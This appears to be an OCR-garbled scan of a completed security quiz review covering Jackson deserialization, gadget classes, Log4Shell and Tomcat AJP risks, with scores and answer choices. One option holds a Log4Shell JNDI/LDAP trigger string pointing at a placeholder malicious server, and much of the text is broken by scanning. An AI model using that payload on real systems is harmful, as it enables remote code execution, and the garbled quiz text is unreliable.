Started on	Wednesday, 19 March 2025, 4:36 PM
State	Finished
Completed on	Wednesday, 19 March 2025, 4:42 PM
Time taken	6 mins 7 secs
Marks	9.00/12.00
Grade	75.00 out of 100.00
Question 1	
Complete	
Mark 1.00 out of 1.00	
a. By exploiting	exploit the Jackson Databind vulnerability? g weak encryption in the JSON keys
b. By sending a	a JSON payload containing dangerous `@type` metadata
c. By passing a	URL that bypasses authentication checks
d. By injecting	SQL queries into the serialized JSON
Question 2	
Complete	
Mark 0.00 out of 1.00	
How can the risk asso	ociated with AJP be mitigated?
a. Using a diffe	erent logging library
	JP traffic to trusted hosts and setting a secret
-	o the latest version of Java
	TPS and using HTTP only
J	
Question 3	
Complete	
Mark 1.00 out of 1.00	
What caused the Jack	kson Databind deserialization vulnerability?
a. The absence	of any type handling logic
	ogging mechanisms
	utdated cryptographic algorithms
	handling of polymorphic types

	Quiz-CS: Attempt review
Question 4	
Complete	
Mark 0.00 out of 1.00	
What configuration change can help prevent Log4Shell attacks?	
a. Disabling log rotation in Log4j	
 b. Increasing the logging level to DEBUG 	
c. Setting `log4j2.formatMsgNoLookups=true`	
 d. Using a firewall to block all incoming traffic 	
Question 5	
Complete	
Mark 1.00 out of 1.00	
What is a gadget class in the context of deserialization vulnerabilities?	
a. A class that can be exploited during deserialization to perform	a unintended actions
	in uninterfaced actions
b. A class that logs all serialization and deserialization eventsc. A utility class that simplifies JSON handling	
	ut mathada
d. A class that implements only the `Serializable` interface without the control of the con	ut methous
Question 6	
Complete	
Mark 1.00 out of 1.00	
What is one major security risk of exposing an AJP connector to the in	iternet?
	iternet?
 a. It can allow attackers to perform DNS cache poisoning. b. It can lead to remote code execution through deserialization 	
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 a. It can allow attackers to perform DNS cache poisoning. b. It can lead to remote code execution through deserialization c. It causes encryption keys to be logged in plain text. d. It makes the application vulnerable to Cross-Site Scripting (X Question 7 Complete Mark 1.00 out of 1.00 What is the primary mitigation for the Jackson deserialization vulnera	exploits.
 a. It can allow attackers to perform DNS cache poisoning. b. It can lead to remote code execution through deserialization c. It causes encryption keys to be logged in plain text. d. It makes the application vulnerable to Cross-Site Scripting (X Question 7 Complete Mark 1.00 out of 1.00 What is the primary mitigation for the Jackson deserialization vulnera a. Using prepared statements for database queries 	exploits.

9/25, 4:43	3 PM Quiz-CS: Attempt review
Question 8	3
Complete	
Mark 0.00 d	out of 1.00
What n	nade the Log4Shell vulnerability (CVE-2021-44228) possible?
a.	A lack of secure password storage in Log4j
b.	Unpatched vulnerabilities in the LDAP server
○ c.	Improper token validation in Log4j
O d.	A remote code execution flaw in the JNDI lookup feature
Question	
Complete	
Mark 1.00 d	out of 1.00
What re	ole does the AJP connector play in a Tomcat-based application?
(a.	It handles file uploads from the client.
b.	
c.	It serves as a bridge between a web server and Tomcat for request forwarding.
	It acts as a database connection pool manager.
Question 1	10
Complete	
Mark 1.00 d	out of 1.00
What ty	ype of action might a gadget class perform when deserialized?
О а.	Automatically hash all fields using SHA-256
O b.	Send email alerts to the system administrator
C.	Write files or execute code without explicit calls from the application
O d.	Automatically compress large objects in memory
Question 1	11
Complete	
Mark 1.00 d	out of 1.00
Which	input could trigger the Log4Shell vulnerability?
○ a.	` <script>alert('XSS')</script> `
O b.	`GET /login HTTP/1.1`
O c.	`{ "username": "admin", "password": "password123" }`
d.	`\${indi:ldap://malicious-server.com/a}`

Question 12	
Complete	
Mark 1.00 out of 1.00	

Why are gadget classes often found in common libraries?

- o a. Common libraries are more likely to be open source and freely available.
- $\ \bigcirc$ b. Common libraries are written in older programming languages.
- © c. Common libraries often include reusable classes with methods that may be automatically invoked during deserialization.
- Od. Common libraries are more frequently updated and include additional features.